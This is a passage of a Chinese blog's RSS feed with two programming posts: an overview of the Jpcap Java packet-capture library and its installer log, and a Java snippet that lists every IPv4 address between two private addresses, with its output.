<img src ="http://www.blogjava.net/cyantide/aggbug/250757.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyantide/" target="_blank">微笑沙漠</a> 2009-01-09 23:45 <a href="http://www.blogjava.net/cyantide/archive/2009/01/09/250757.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络数据包组件 Jpcap(转帖)</title><link>http://www.blogjava.net/cyantide/archive/2008/06/30/211707.html</link><dc:creator>微笑沙漠</dc:creator><author>微笑沙漠</author><pubDate>Mon, 30 Jun 2008 09:22:00 GMT</pubDate><guid>http://www.blogjava.net/cyantide/archive/2008/06/30/211707.html</guid><wfw:comment>http://www.blogjava.net/cyantide/comments/211707.html</wfw:comment><comments>http://www.blogjava.net/cyantide/archive/2008/06/30/211707.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyantide/comments/commentRss/211707.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyantide/services/trackbacks/211707.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
&nbsp;Jpcap是一个能够抓取与发送网络数据包的Java组件。可以使用Jpcap从一个网络接口获取数据包，然后在Java中对它们进行分析和显示。同样也可以通过一个网络接口发送任意数据包。Jpcap当前能够 捕获以太网，IPv4，IPv6，ARP/RARP，TCP，UDP和ICMPv4数据包。 <br />
&nbsp; &nbsp; Jpcap实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，Jpcap调用wincap/libcap，而给Java语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，Jpcap支持FreeBSD3.x,Linux RedHat6.1,Fedora Core4,Solaris,and Microsoft Windows 2000/XP等系统。 <br />
&nbsp; Jpcap的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct_ADAPTER ADAPTER，getDeviceList()对应pcap_findalldevs()等等。 <br />
&nbsp; &nbsp; Jpcap主要的类有如下几个： <br />
1．NetworkInterface <br />
该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。 <br />
2．JpcapCaptor <br />
该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。 <br />
3．JpcapSender <br />
该类专门用于控制数据包的发送。 <br />
4．Packet <br />
这个是所有其它数据包类的父类。Jpcap所支持的数据包有： <br />
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket。 <br />
<br />
<br />
<br />
<br />
执行jpcap.exe后,文件自动保存日志:<br />
<br />
<font style="background-color: #cce8cf">Output folder: C:\WINDOWS\Sun\Java\lib\ext<br />
Skipped: jpcap.jar<br />
Extract: C:\WINDOWS\system32\Jpcap.dll... 100%<br />
Output folder: C:\Program Files\Jpcap<br />
Created uninstaller: C:\Program Files\Jpcap\uninst.exe<br />
Completed</font><br />
 <img src ="http://www.blogjava.net/cyantide/aggbug/211707.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyantide/" target="_blank">微笑沙漠</a> 2008-06-30 17:22 <a href="http://www.blogjava.net/cyantide/archive/2008/06/30/211707.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>获得两个ip段之间的所有ip</title><link>http://www.blogjava.net/cyantide/archive/2008/06/11/207095.html</link><dc:creator>微笑沙漠</dc:creator><author>微笑沙漠</author><pubDate>Wed, 11 Jun 2008 05:16:00 GMT</pubDate><guid>http://www.blogjava.net/cyantide/archive/2008/06/11/207095.html</guid><wfw:comment>http://www.blogjava.net/cyantide/comments/207095.html</wfw:comment><comments>http://www.blogjava.net/cyantide/archive/2008/06/11/207095.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyantide/comments/commentRss/207095.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyantide/services/trackbacks/207095.html</trackback:ping><description><![CDATA[<span>网上摘录的,向作者表示感谢<br />
<br />
将IPV4转成３２位无符号的数（一个IPV4是一个３２位的二进制数），然后处理。 <br />
参考代码如下： <br />
</span>
<dl class="code">
<dt><span>Java code </span>
<dd>
<pre><span><span style="color: #0000ff">import</span><span style="color: #000000"> java.net.</span><span style="color: #000000">*</span></span><span><span style="color: #000000">;<br />
</span><span style="color: #0000ff">import</span><span style="color: #000000"> java.nio.</span><span style="color: #000000">*</span></span><span><span style="color: #000000">;<br />
</span><span style="color: #0000ff">public</span><span style="color: #000000"> </span><span style="color: #0000ff">class</span></span><span><span style="color: #000000"> PrintIP { </span><span style="color: #008000">//</span><span style="color: #008000">一个IP，是一个３２位无符号的二进制数。故用long的低32表示无符号32位二进制数。</span></span><span style="color: #008000"><br />
</span><span><span style="color: #000000">&nbsp;&nbsp;&nbsp; </span><span style="color: #0000ff">public</span><span style="color: #000000"> </span><span style="color: #0000ff">static</span><span style="color: #000000"> </span><span style="color: #0000ff">long</span></span><span><span style="color: #000000"> getIP(InetAddress ip)<br />
{<br />
</span><span style="color: #0000ff">byte</span><span style="color: #000000">[] b</span><span style="color: #000000">=</span></span><span><span style="color: #000000">ip.getAddress();<br />
</span><span style="color: #0000ff">long</span><span style="color: #000000"> l</span><span style="color: #000000">=</span><span style="color: #000000"> b[</span><span style="color: #000000">0</span><span style="color: #000000">]</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">24L</span><span style="color: #000000"> </span><span style="color: #000000">&amp;</span><span style="color: #000000"> </span><span style="color: #000000">0xff000000L</span><span style="color: #000000">|</span></span><span style="color: #000000"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b[</span></span><span><span style="color: #000000">1</span><span style="color: #000000">]</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">16L</span><span style="color: #000000"> </span><span style="color: #000000">&amp;</span><span style="color: #000000"> </span><span style="color: #000000">0xff0000L</span><span style="color: #000000">&nbsp; </span><span style="color: #000000">|</span></span><span style="color: #000000"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b[</span></span><span><span style="color: #000000">2</span><span style="color: #000000">]</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">8L</span><span style="color: #000000">&nbsp; </span><span style="color: #000000">&amp;</span><span style="color: #000000">&nbsp; </span><span style="color: #000000">0xff00L</span><span style="color: #000000">&nbsp;&nbsp; </span><span style="color: #000000">|</span></span><span style="color: #000000"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b[</span></span><span><span style="color: #000000">3</span><span style="color: #000000">]</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">0L</span><span style="color: #000000">&nbsp; </span><span style="color: #000000">&amp;</span><span style="color: #000000">&nbsp; </span><span style="color: #000000">0xffL</span></span><span><span style="color: #000000"> ;<br />
</span><span style="color: #0000ff">return</span></span><span><span style="color: #000000"> l;<br />
}<br />
</span><span style="color: #008000">//</span><span style="color: #008000">由低32位二进制数构成InetAddress对象</span></span><span style="color: #008000"><br />
</span><span><span style="color: #000000">&nbsp;&nbsp;&nbsp; </span><span style="color: #0000ff">public</span><span style="color: #000000"> </span><span style="color: #0000ff">static</span><span style="color: #000000"> InetAddress toIP(</span><span style="color: #0000ff">long</span><span style="color: #000000"> ip) </span><span style="color: #0000ff">throws</span></span><span><span style="color: #000000"> UnknownHostException<br />
{<br />
</span><span style="color: #0000ff">byte</span><span style="color: #000000">[] b</span><span style="color: #000000">=</span><span style="color: #0000ff">new</span><span style="color: #000000"> </span><span style="color: #0000ff">byte</span><span style="color: #000000">[</span><span style="color: #000000">4</span></span><span><span style="color: #000000">];<br />
</span><span style="color: #0000ff">int</span><span style="color: #000000"> i</span><span style="color: #000000">=</span><span style="color: #000000">(</span><span style="color: #0000ff">int</span><span style="color: #000000">)ip;</span><span style="color: #008000">//</span><span style="color: #008000">低３２位</span></span><span style="color: #008000"><br />
</span><span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b[</span><span style="color: #000000">0</span><span style="color: #000000">]</span><span style="color: #000000">=</span><span style="color: #000000"> (</span><span style="color: #0000ff">byte</span><span style="color: #000000">)( (i </span><span style="color: #000000">&gt;&gt;</span><span style="color: #000000"> </span><span style="color: #000000">24</span><span style="color: #000000">) </span><span style="color: #000000">&amp;</span><span style="color: #000000"> </span><span style="color: #000000">0x000000ff</span></span><span><span style="color: #000000"> );<br />
b[</span><span style="color: #000000">1</span><span style="color: #000000">]</span><span style="color: #000000">=</span><span style="color: #000000"> (</span><span style="color: #0000ff">byte</span><span style="color: #000000">)( (i </span><span style="color: #000000">&gt;&gt;</span><span style="color: #000000"> </span><span style="color: #000000">16</span><span style="color: #000000">) </span><span style="color: #000000">&amp;</span><span style="color: #000000"> </span><span style="color: #000000">0x000000ff</span></span><span><span style="color: #000000"> );<br />
b[</span><span style="color: #000000">2</span><span style="color: #000000">]</span><span style="color: #000000">=</span><span style="color: #000000"> (</span><span style="color: #0000ff">byte</span><span style="color: #000000">)( (i </span><span style="color: #000000">&gt;&gt;</span><span style="color: #000000"> </span><span style="color: #000000">8</span><span style="color: #000000">)&nbsp; </span><span style="color: #000000">&amp;</span><span style="color: #000000"> </span><span style="color: #000000">0x000000ff</span></span><span><span style="color: #000000"> );<br />
b[</span><span style="color: #000000">3</span><span style="color: #000000">]</span><span style="color: #000000">=</span><span style="color: #000000"> (</span><span style="color: #0000ff">byte</span><span style="color: #000000">)( (i </span><span style="color: #000000">&gt;&gt;</span><span style="color: #000000"> </span><span style="color: #000000">0</span><span style="color: #000000">)&nbsp; </span><span style="color: #000000">&amp;</span><span style="color: #000000"> </span><span style="color: #000000">0x000000ff</span></span><span><span style="color: #000000"> );<br />
</span><span style="color: #0000ff">return</span></span><span><span style="color: #000000"> InetAddress.getByAddress(b);<br />
}<br />
</span><span style="color: #0000ff">public</span><span style="color: #000000"> </span><span style="color: #0000ff">static</span><span style="color: #000000"> </span><span style="color: #0000ff">void</span><span style="color: #000000"> main(String[] args) </span><span style="color: #0000ff">throws</span></span><span><span style="color: #000000"> UnknownHostException {<br />
</span><span style="color: #0000ff">long</span><span style="color: #000000"> ip1</span><span style="color: #000000">=</span><span style="color: #000000">getIP(InetAddress.getByName(</span><span style="color: #000000">"</span><span style="color: #000000">192.168.0.233</span><span style="color: #000000">"</span></span><span><span style="color: #000000">));<br />
</span><span style="color: #0000ff">long</span><span style="color: #000000"> ip2</span><span style="color: #000000">=</span><span style="color: #000000">getIP(InetAddress.getByName(</span><span style="color: #000000">"</span><span style="color: #000000">192.168.1.12</span><span style="color: #000000">"</span></span><span><span style="color: #000000">));<br />
System.out.println(</span><span style="color: #000000">"</span><span style="color: #000000">192.168.0.233到192.168.1.12之间所有的IP是：</span><span style="color: #000000">"</span></span><span><span style="color: #000000">);<br />
</span><span style="color: #0000ff">for</span><span style="color: #000000">(</span><span style="color: #0000ff">long</span><span style="color: #000000"> ip</span><span style="color: #000000">=</span><span style="color: #000000">ip1;ip</span><span style="color: #000000">&lt;=</span><span style="color: #000000">ip2;ip</span><span style="color: #000000">++</span></span><span style="color: #000000"><span>)<br />
{<br />
System.out.println(toIP(ip).getHostAddress());<br />
}<br />
}<br />
}<br />
</span></span>
</pre>
</dd></dl><br />
<span>程序运行结果： <br />
192.168.0.233到192.168.1.12之间所有的IP是： <br />
192.168.0.233 <br />
192.168.0.234 <br />
192.168.0.235 <br />
192.168.0.236 <br />
192.168.0.237 <br />
192.168.0.238 <br />
192.168.0.239 <br />
192.168.0.240 <br />
192.168.0.241 <br />
192.168.0.242 <br />
192.168.0.243 <br />
192.168.0.244 <br />
192.168.0.245 <br />
192.168.0.246 <br />
192.168.0.247 <br />
192.168.0.248 <br />
192.168.0.249 <br />
192.168.0.250 <br />
192.168.0.251 <br />
192.168.0.252 <br />
192.168.0.253 <br />
192.168.0.254 <br />
192.168.0.255 <br />
192.168.1.0 <br />
192.168.1.1 <br />
192.168.1.2 <br />
192.168.1.3 <br />
192.168.1.4 <br />
192.168.1.5 <br />
192.168.1.6 <br />
192.168.1.7 <br />
192.168.1.8 <br />
192.168.1.9 <br />
192.168.1.10 <br />
192.168.1.11 <br />
192.168.1.12 <br />
因为<span style="color: #ff0000">不知道你的需求中</span>要不要去掉特殊的IP。故程序中没有判特殊IP。 <br />
说明：若要<span style="color: #ff0000">去掉网络地址</span>如：192.168.0.0,192.168.1.0，191.12.0.0,12.0.0.0与定向广播地址如：192.168.0.255,192.168.1.255，192.12.255.255,12.255.255.255等，你在<span style="color: #ff0000">程序中再判</span>一下。</span> 
 <img src ="http://www.blogjava.net/cyantide/aggbug/207095.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyantide/" target="_blank">微笑沙漠</a> 2008-06-11 13:16 <a href="http://www.blogjava.net/cyantide/archive/2008/06/11/207095.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>